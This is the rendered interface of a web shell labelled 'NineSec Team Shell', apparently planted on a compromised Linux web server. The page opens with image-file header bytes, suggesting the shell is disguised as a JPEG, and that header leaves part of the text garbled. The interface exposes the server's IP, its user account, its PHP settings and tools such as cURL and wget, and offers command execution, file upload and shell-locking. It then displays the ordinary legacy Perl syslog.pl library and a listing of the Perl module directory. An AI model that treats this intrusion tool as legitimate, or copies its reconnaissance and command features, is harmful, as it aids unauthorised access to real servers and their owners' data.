�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/../bin/../lib64/../usr/share/perl5/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/../bin/../lib64/../usr/share/perl5/syslog.pl
#
# syslog.pl
#
# $Log:	syslog.pl,v $
# 
# tom christiansen <tchrist@convex.com>
# modified to use sockets by Larry Wall <lwall@jpl-devvax.jpl.nasa.gov>
# NOTE: openlog now takes three arguments, just like openlog(3)
#
# call syslog() with a string priority and a list of printf() args
# like syslog(3)
#
#  usage: require 'syslog.pl';
#
#  then (put these all in a script to test function)
#		
#
#	do openlog($program,'cons,pid','user');
#	do syslog('info','this is another test');
#	do syslog('mail|warning','this is a better test: %d', time);
#	do closelog();
#	
#	do syslog('debug','this is the last test');
#	do openlog("$program $$",'ndelay','user');
#	do syslog('notice','fooprogram: this is really done');
#
#	$! = 55;
#	do syslog('info','problem was %m'); # %m == $! in syslog(3)

package syslog;

use warnings::register;

$host = 'localhost' unless $host;	# set $syslog'host to change

if ($] >= 5 && warnings::enabled()) {
    warnings::warn("You should 'use Sys::Syslog' instead; continuing");
} 

require 'syslog.ph';

 eval 'use Socket; 1' 			||
     eval { require "socket.ph" } 	||
     require "sys/socket.ph";

$maskpri = &LOG_UPTO(&LOG_DEBUG);

sub main'openlog {
    ($ident, $logopt, $facility) = @_;  # package vars
    $lo_pid = $logopt =~ /\bpid\b/;
    $lo_ndelay = $logopt =~ /\bndelay\b/;
    $lo_cons = $logopt =~ /\bcons\b/;
    $lo_nowait = $logopt =~ /\bnowait\b/;
    &connect if $lo_ndelay;
} 

sub main'closelog {
    $facility = $ident = '';
    &disconnect;
} 

sub main'setlogmask {
    local($oldmask) = $maskpri;
    $maskpri = shift;
    $oldmask;
}
 
sub main'syslog {
    local($priority) = shift;
    local($mask) = shift;
    local($message, $whoami);
    local(@words, $num, $numpri, $numfac, $sum);
    local($facility) = $facility;	# may need to change temporarily.

    die "syslog: expected both priority and mask" unless $mask && $priority;

    @words = split(/\W+/, $priority, 2);# Allow "level" or "level|facility".
    undef $numpri;
    undef $numfac;
    foreach (@words) {
	$num = &xlate($_);		# Translate word to number.
	if (/^kern$/ || $num < 0) {
	    die "syslog: invalid level/facility: $_\n";
	}
	elsif ($num <= &LOG_PRIMASK) {
	    die "syslog: too many levels given: $_\n" if defined($numpri);
	    $numpri = $num;
	    return 0 unless &LOG_MASK($numpri) & $maskpri;
	}
	else {
	    die "syslog: too many facilities given: $_\n" if defined($numfac);
	    $facility = $_;
	    $numfac = $num;
	}
    }

    die "syslog: level must be given\n" unless defined($numpri);

    if (!defined($numfac)) {	# Facility not specified in this call.
	$facility = 'user' unless $facility;
	$numfac = &xlate($facility);
    }

    &connect unless $connected;

    $whoami = $ident;

    if (!$ident && $mask =~ /^(\S.*):\s?(.*)/) {
	$whoami = $1;
	$mask = $2;
    } 

    unless ($whoami) {
	($whoami = getlogin) ||
	    ($whoami = getpwuid($<)) ||
		($whoami = 'syslog');
    }

    $whoami .= "[$$]" if $lo_pid;

    $mask =~ s/%m/$!/g;
    $mask .= "\n" unless $mask =~ /\n$/;
    $message = sprintf ($mask, @_);

    $sum = $numpri + $numfac;
    unless (send(SYSLOG,"<$sum>$whoami: $message",0)) {
	if ($lo_cons) {
	    if ($pid = fork) {
		unless ($lo_nowait) {
		    do {$died = wait;} until $died == $pid || $died < 0;
		}
	    }
	    else {
		open(CONS,">/dev/console");
		print CONS "<$facility.$priority>$whoami: $message\r";
		exit if defined $pid;		# if fork failed, we're parent
		close CONS;
	    }
	}
    }
}

sub xlate {
    local($name) = @_;
    $name = uc $name;
    $name = "LOG_$name" unless $name =~ /^LOG_/;
    $name = "syslog'$name";
    defined &$name ? &$name : -1;
}

sub connect {
    $pat = 'S n C4 x8';

    $af_unix = &AF_UNIX;
    $af_inet = &AF_INET;

    $stream = &SOCK_STREAM;
    $datagram = &SOCK_DGRAM;

    ($name,$aliases,$proto) = getprotobyname('udp');
    $udp = $proto;

    ($name,$aliases,$port,$proto) = getservbyname('syslog','udp');
    $syslog = $port;

    if (chop($myname = `hostname`)) {
	($name,$aliases,$addrtype,$length,@addrs) = gethostbyname($myname);
	die "Can't lookup $myname\n" unless $name;
	@bytes = unpack("C4",$addrs[0]);
    }
    else {
	@bytes = (0,0,0,0);
    }
    $this = pack($pat, $af_inet, 0, @bytes);

    if ($host =~ /^\d+\./) {
	@bytes = split(/\./,$host);
    }
    else {
	($name,$aliases,$addrtype,$length,@addrs) = gethostbyname($host);
	die "Can't lookup $host\n" unless $name;
	@bytes = unpack("C4",$addrs[0]);
    }
    $that = pack($pat,$af_inet,$syslog,@bytes);

    socket(SYSLOG,$af_inet,$datagram,$udp) || die "socket: $!\n";
    bind(SYSLOG,$this) || die "bind: $!\n";
    connect(SYSLOG,$that) || die "connect: $!\n";

    local($old) = select(SYSLOG); $| = 1; select($old);
    $connected = 1;
}

sub disconnect {
    close SYSLOG;
    $connected = 0;
}

1;

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
April 08 2025 12:08:09
root
0755
Algorithm
--
April 08 2022 2:43:05
root
0755
Authen
--
March 29 2022 10:48:11
root
0755
B
--
March 29 2022 10:50:48
root
0755
Bytes
--
March 29 2022 10:40:29
root
0755
CGI
--
March 29 2022 10:40:33
root
0755
Class
--
October 23 2023 6:29:36
root
0755
Config
--
March 29 2022 10:49:15
root
0755
Crypt
--
March 29 2022 10:40:28
root
0755
Data
--
March 29 2022 10:50:50
root
0755
Date
--
March 29 2022 10:40:39
root
0755
DateTime
--
October 23 2023 6:31:03
root
0755
Debconf
--
April 25 2020 3:52:45
root
0755
Debian
--
April 04 2022 10:16:16
root
0755
Devel
--
March 29 2022 10:50:51
root
0755
Digest
--
March 29 2022 10:48:17
root
0755
Dist
--
March 29 2022 10:50:51
root
0755
Dpkg
--
May 27 2022 8:37:26
root
0755
DynaLoader
--
March 29 2022 10:48:08
root
0755
Email
--
March 29 2022 10:50:51
root
0755
Encode
--
March 29 2022 10:40:37
root
0755
Error
--
March 29 2022 10:48:11
root
0755
Eval
--
March 29 2022 10:50:52
root
0755
Exception
--
March 29 2022 10:50:52
root
0755
Exporter
--
March 29 2022 10:48:11
root
0755
File
--
October 23 2023 6:29:36
root
0755
Font
--
March 29 2022 10:40:40
root
0755
Git
--
October 23 2023 6:29:05
root
0755
HTML
--
March 29 2022 10:40:43
root
0755
HTTP
--
July 15 2022 8:34:56
root
0755
IO
--
April 12 2022 9:17:40
root
0755
IPC
--
April 12 2022 9:17:40
root
0755
Import
--
March 29 2022 10:48:09
root
0755
JSON
--
March 29 2022 10:48:19
root
0755
LWP
--
March 29 2022 10:40:47
root
0755
Log
--
March 29 2022 10:50:56
root
0755
MIME
--
March 29 2022 10:50:57
root
0755
MRO
--
March 29 2022 10:50:54
root
0755
Mail
--
October 23 2023 6:31:02
root
0755
Math
--
March 29 2022 10:40:28
root
0755
Method
--
March 29 2022 10:48:10
root
0755
Module
--
March 29 2022 10:50:48
root
0755
MojoX
--
March 29 2022 10:50:57
root
0755
Moo
--
March 29 2022 10:48:10
root
0755
Net
--
March 29 2022 10:48:24
root
0755
Package
--
March 29 2022 10:50:52
root
0755
Params
--
March 29 2022 10:50:53
root
0755
Parse
--
March 29 2022 10:48:25
root
0755
Perl4
--
March 29 2022 10:48:25
root
0755
Ref
--
March 29 2022 10:48:26
root
0755
Reply
--
March 29 2022 10:48:11
root
0755
Role
--
March 29 2022 10:48:10
root
0755
Specio
--
March 29 2022 10:50:55
root
0755
Sub
--
March 29 2022 10:50:52
root
0755
Sys
--
March 29 2022 10:48:31
root
0755
Term
--
March 29 2022 10:50:57
root
0755
Test
--
March 29 2022 10:50:55
root
0755
Text
--
April 25 2020 3:52:58
root
0755
Time
--
March 29 2022 10:40:39
root
0755
Try
--
March 29 2022 10:40:47
root
0755
Type
--
March 29 2022 10:48:11
root
0755
Types
--
March 29 2022 10:48:19
root
0755
URI
--
March 29 2022 10:40:32
root
0755
Virtualmin
--
March 29 2022 10:50:58
root
0755
WWW
--
March 29 2022 10:40:47
root
0755
auto
--
October 23 2023 6:29:36
root
0755
libwww
--
March 29 2022 10:40:47
root
0755
namespace
--
March 29 2022 10:50:53
root
0755
strictures
--
March 29 2022 10:48:10
root
0755
CGI.pm
122.29 KB
February 03 2020 3:46:42
root
0644
CGI.pod
65.655 KB
January 13 2020 7:59:32
root
0644
Dpkg.pm
5.842 KB
May 25 2022 1:14:20
root
0644
Error.pm
29.445 KB
January 31 2020 5:15:31
root
0644
Fh.pm
0.162 KB
February 03 2020 3:46:09
root
0644
Git.pm
45.788 KB
April 26 2023 2:52:23
root
0644
JSON.pm
61.08 KB
February 23 2019 3:23:12
root
0644
LWP.pm
21.168 KB
November 26 2019 2:54:46
root
0644
MailTools.pm
0.447 KB
May 21 2019 4:26:37
root
0644
MailTools.pod
2.239 KB
May 21 2019 4:26:37
root
0644
Moo.pm
32.804 KB
October 25 2019 1:20:32
root
0644
Readonly.pm
27.581 KB
June 10 2016 7:03:44
root
0644
Specio.pm
14.833 KB
November 29 2019 4:41:18
root
0644
TimeDate.pm
0.261 KB
January 16 2020 11:42:35
root
0644
URI.pm
33.949 KB
January 09 2019 5:59:57
root
0644
abbrev.pl
0.8 KB
January 03 2020 5:09:21
root
0644
assert.pl
1.266 KB
January 03 2020 5:09:21
root
0644
bigfloat.pl
7.144 KB
January 03 2020 5:09:21
root
0644
bigint.pl
8.71 KB
January 03 2020 5:09:21
root
0644
bigrat.pl
4.346 KB
January 03 2020 5:09:21
root
0644
cacheout.pl
1.096 KB
January 03 2020 5:09:21
root
0644
chat2.pl
9.73 KB
January 03 2020 5:09:21
root
0644
complete.pl
3.116 KB
January 03 2020 5:09:21
root
0644
ctime.pl
1.928 KB
January 03 2020 5:09:21
root
0644
dotsh.pl
2.124 KB
January 03 2020 5:09:21
root
0644
exceptions.pl
1.695 KB
January 03 2020 5:09:21
root
0644
fastcwd.pl
0.995 KB
January 03 2020 5:09:21
root
0644
find.pl
1.157 KB
January 03 2020 5:09:21
root
0644
finddepth.pl
1.104 KB
January 03 2020 5:09:21
root
0644
flush.pl
0.627 KB
January 03 2020 5:09:21
root
0644
ftp.pl
23.53 KB
January 03 2020 5:09:21
root
0644
getcwd.pl
1.37 KB
January 03 2020 5:09:21
root
0644
getopt.pl
1.271 KB
January 03 2020 5:09:21
root
0644
getopts.pl
1.354 KB
January 03 2020 5:09:21
root
0644
hostname.pl
0.71 KB
January 03 2020 5:09:21
root
0644
importenv.pl
0.276 KB
January 03 2020 5:09:21
root
0644
look.pl
1.226 KB
January 03 2020 5:09:21
root
0644
newgetopt.pl
2.161 KB
January 03 2020 5:09:21
root
0644
oo.pm
1.189 KB
September 06 2019 3:03:59
root
0644
open2.pl
0.181 KB
January 03 2020 5:09:21
root
0644
open3.pl
0.181 KB
January 03 2020 5:09:21
root
0644
pwd.pl
1.443 KB
January 03 2020 5:09:21
root
0644
shellwords.pl
0.273 KB
January 03 2020 5:09:21
root
0644
spamassassin-run.pod
12.271 KB
March 24 2023 5:36:49
root
0644
stat.pl
0.513 KB
January 03 2020 5:09:21
root
0644
strictures.pm
14.439 KB
March 10 2019 11:07:43
root
0644
syslog.pl
4.693 KB
January 03 2020 5:09:21
root
0644
tainted.pl
0.16 KB
January 03 2020 5:09:21
root
0644
termcap.pl
4.016 KB
January 03 2020 5:09:21
root
0644
timelocal.pl
0.674 KB
January 03 2020 5:09:21
root
0644
validate.pl
3.644 KB
January 03 2020 5:09:21
root
0644

NineSec Team - 2022